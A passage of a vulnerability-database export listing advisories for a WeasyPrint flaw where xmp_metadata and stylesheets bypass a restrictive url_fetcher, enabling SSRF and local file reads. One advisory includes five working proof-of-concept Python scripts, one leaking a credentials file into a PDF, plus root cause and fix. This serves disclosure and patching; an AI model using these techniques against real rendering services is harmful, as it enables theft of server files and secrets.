fetcher.","status":"published","published":"2026-09-09T18:06:38Z","modified":"2026-09-10T12:26:05.802944622Z","cvss":[{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:50.336262Z"},{"id":"PYSEC-2026-3940","title":"weasyprint Has Server-Side Request Forgery (SSRF)","description":"## Summary\n\n`url_fetcher` is WeasyPrint's documented mechanism for restricting resource loading - applications use it to block `file://`, internal hosts, etc. when rendering untrusted input.\n\nTwo `write_pdf()` channels ignore the document's `url_fetcher` and build a fresh default `URLFetcher()` instead. A restrictive fetcher set on `HTML()` is silently bypassed for:\n\n- **`xmp_metadata=[url]`** - the URL is fetched and the bytes are embedded verbatim in the output PDF. This is an **arbitrary local file read** when the path is attacker-influenced.\n- **`stylesheets=[url_or_path]`** - the sheet is fetched and applied. This is **SSRF / arbitrary local-or-internal resource loading**, and it is **transitive**: the permissive fetcher propagates through the whole `@import` / `url()` graph.\n\nApplications affected are those that (1) run WeasyPrint server-side, (2) set a restrictive `url_fetcher` to block `file://` or internal hosts, and (3) forward an attacker-influenced URL/path into either parameter - e.g. PDF rendering APIs, invoice/report generators, document SaaS.\n\n## Affected versions\n\nAll versions through current `main` - v69.0, commit `2945986160dedd97a7547be03805b667964e422a`.\n\n## Root cause\n\n`select_source()` defaults to a fresh fetcher when none is passed (`weasyprint/urls.py`):\n\n```python\ndef select_source(guess=None, filename=None, url=None, ..., url_fetcher=None, ...):\n    ...\n    if url_fetcher is None:\n        url_fetcher = URLFetcher()\n```\n\nFive of the seven resource-loading sites thread the document's fetcher correctly:\n\n- `\u003clink rel=stylesheet\u003e` in `weasyprint/css/__init__.py`\n- `\u003cstyle\u003e` in `weasyprint/css/__init__.py`\n- `@import` in `weasyprint/css/__init__.py`\n- `@font-face` / `local()` in `weasyprint/text/fonts.py`\n- `@color-profile src` in `weasyprint/css/__init__.py`\n- images (`\u003cimg\u003e`, CSS `url()`, SVG) in `weasyprint/images.py`\n\nTwo do **not** — they build a fresh default fetcher instead:\n\n- `write_pdf(xmp_metadata=[...])` in `weasyprint/pdf/__init__.py`\n- `write_pdf(stylesheets=[str])` in `weasyprint/document.py`\n\n**`xmp_metadata`** - `pdf/__init__.py` calls `select_source(url)` with no `url_fetcher`, so the default fetcher runs regardless of what the caller configured:\n\n```python\nif options['xmp_metadata']:\n    for url in options['xmp_metadata']:\n        result = select_source(url)          # no url_fetcher\n```\n\n**`stylesheets`** - `document.py` builds each sheet without passing `url_fetcher`, and `CSS.__init__` then defaults to a fresh `URLFetcher()`:\n\n```python\nfor css in options['stylesheets'] or []:\n    if not hasattr(css, 'matcher'):\n        css = CSS(                            # no url_fetcher=html.url_fetcher\n            guess=css, media_type=html.media_type,\n            font_config=font_config, counter_style=counter_style,\n            color_profiles=color_profiles)\n```\n\nBecause `@import` / `url()` inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.\n\n## Reproduction\n\nEach script defines a `Block` fetcher that refuses every `file://`, writes its own fixture to a temp dir, and prints a boolean. `True` means the restrictive fetcher was bypassed. No external files or network needed.\n\n### 1 - `xmp_metadata=` reads a `file://` the fetcher blocks\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith('file:'):\n            raise ValueError('blocked ' + url)\n        return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, 'secret.xmp')\nopen(path, 'wb').write(b'CANARY_XMP_LEAK_7f3a9c')\npdf = HTML(string='\u003cp\u003ehi\u003c/p\u003e', url_fetcher=Block()).write_pdf(\n    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)\nprint('secret file leaked into PDF:', b'CANARY_XMP_LEAK_7f3a9c' in pdf)\n# -\u003e True\n```\n\n(`pdf_variant='pdf/a-3b'` makes the embedded bytes observable in the output; the read happens regardless of variant.)\n\n### 2 - `stylesheets=` applies a blocked `file://` sheet (with control)\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith('file:'):\n            raise ValueError('blocked ' + url)\n        return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, 'evil.css')\nopen(path, 'w').write('@page { size: 1234px 5678px }')\n\ndoc = HTML(string='\u003cp\u003ex\u003c/p\u003e', url_fetcher=Block()).render(stylesheets=['file://' + path])\np = doc.pages[0]\nprint('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678))\n# -\u003e True\n\n# Control: the same sheet via \u003clink rel=stylesheet\u003e is NOT applied (the fetcher blocks it;\n# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the\n# gap is specific to stylesheets= and not a misconfigured fetcher.\nctrl = HTML(string='\u003clink rel=\"stylesheet\" href=\"file://%s\"\u003e\u003cp\u003ex\u003c/p\u003e' % path,\n            url_fetcher=Block()).render()\ncp = ctrl.pages[0]\nprint('control \u003clink\u003e correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678))\n# -\u003e True\n```\n\n### 3 - the `stylesheets=` bypass is transitive\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith('file:'):\n            raise ValueError('blocked ' + url)\n        return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\ninner = os.path.join(d, 'inner.css')\nouter = os.path.join(d, 'outer.css')\nopen(inner, 'w').write('@page { size: 333px 777px }')\nopen(outer, 'w').write('@import url(\"file://%s\");' % inner)\ndoc = HTML(string='\u003cp\u003ex\u003c/p\u003e', url_fetcher=Block()).render(stylesheets=['file://' + outer])\np = doc.pages[0]\nprint('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777))\n# -\u003e True\n```\n\n### 4 - `xmp_metadata=` discloses a credentials file in full\n\n```python\nimport os, json, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith('file:'):\n            raise ValueError('blocked ' + url)\n        return super().fetch(url, headers)\n\ncreds = {'db_name': 'CANARY_DB_NAME', 'db_password': 'CANARY_PASSWORD_a3f7e9c2',\n         'encryption_key': 'CANARY_ENC_KEY_b8d4f6a1', 'secret_key': 'CANARY_SECRET_KEY_c5e9d2b7'}\nd = tempfile.mkdtemp()\npath = os.path.join(d, 'site_config.json')\njson.dump(creds, open(path, 'w'))\npdf = HTML(string='\u003cp\u003ex\u003c/p\u003e', url_fetcher=Block()).write_pdf(\n    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)\nprint('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values()))\n# -\u003e True\n```\n\nAn attacker who controls the `xmp_metadata` path reads any file the rendering process can access and receives its contents in the generated PDF.\n\n### 5 - scope of the `stylesheets=` channel (honest bound)\n\nThe sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, **not** verbatim disclosure on its own.\n\n```python\nimport os, tempfile\nfrom weasyprint import HTML\nfrom weasyprint.urls import URLFetcher\n\nclass Block(URLFetcher):\n    def fetch(self, url, headers=None):\n        if url.lower().startswith('file:'):\n            raise ValueError('blocked ' + url)\n        return super().fetch(url, headers)\n\nd = tempfile.mkdtemp()\npath = os.path.join(d, 'secrets.css')\nopen(path, 'w').write('/* CANARY_SECRET_e2a8c5d4 */\\n@page { size: 999px 888px }')\nhtml = HTML(string='\u003cp\u003ex\u003c/p\u003e', url_fetcher=Block())\ndoc = html.render(stylesheets=['file://' + path])\npdf = html.write_pdf(stylesheets=['file://' + path], uncompressed_pdf=True)\np = doc.pages[0]\nprint('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888))   # -\u003e True\nprint('comment leaked verbatim:', b'CANARY_SECRET_e2a8c5d4' in pdf)                  # -\u003e False\n```\n\n## Suggested fix\n\nRoute both call sites through the document's `url_fetcher`, matching the five sites that already do this.\n\n- **`pdf/__init__.py`** - `select_source(url, url_fetcher=self.url_fetcher)`. (Alternatively, restrict `xmp_metadata` to byte strings so no URL fetching occurs.)\n- **`document.py`** - `CSS(guess=css, ..., url_fetcher=html.url_fetcher)`. This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.","status":"published","published":"2026-09-10T09:45:01.386776Z","modified":"2026-09-10T12:15:15.627247874Z","cvss":[{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:57.255153Z"},{"id":"UBUNTU-CVE-2026-55073","description":"WeasyPrint helps web developers to create PDF documents. Prior to 70.0, server-side applications that configure a restrictive url_fetcher and pass attacker-influenced values to HTML.write_pdf() can have the restriction bypassed through the xmp_metadata or stylesheets options. In weasyprint/pdf/init.py, xmp_metadata calls select_source() without the document url_fetcher, allowing an accessible local file to be read and embedded verbatim in the output PDF. In weasyprint/document.py, stylesheets constructs CSS() without the document url_fetcher, allowing local or internal resource loading and propagating the permissive fetcher through nested CSS imports and url() references. The stylesheets channel applies fetched resources but does not by itself disclose stylesheet comments verbatim. This issue is fixed in version 70.0.","status":"published","published":"2026-09-14T17:17:00Z","modified":"2026-10-17T13:00:27.122365935Z","cvss":[{"version":"3.1","score":6.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T16:56:41.382716Z"},{"id":"openSUSE-SU-2026:11816-1","title":"python313-weasyprint-70.0-1.1 on GA media","description":"These are all security issues fixed in the python313-weasyprint-70.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-09-18T00:00:00Z","modified":"2026-09-19T18:23:08.168141142Z","updated_at":"2026-11-02T16:58:39.516824Z"},{"id":"openSUSE-SU-2026:21928-1","title":"Security update for python-weasyprint","description":"This update for python-weasyprint fixes the following issues:\n\nChanges in python-weasyprint:\n\n- CVE-2026-55073: Server-Side Request Forgery (SSRF) (bsc#1279942)\n","status":"published","published":"2026-09-21T13:55:38Z","modified":"2026-09-25T18:23:13.631455941Z","updated_at":"2026-11-02T16:58:42.426393Z"}]}}
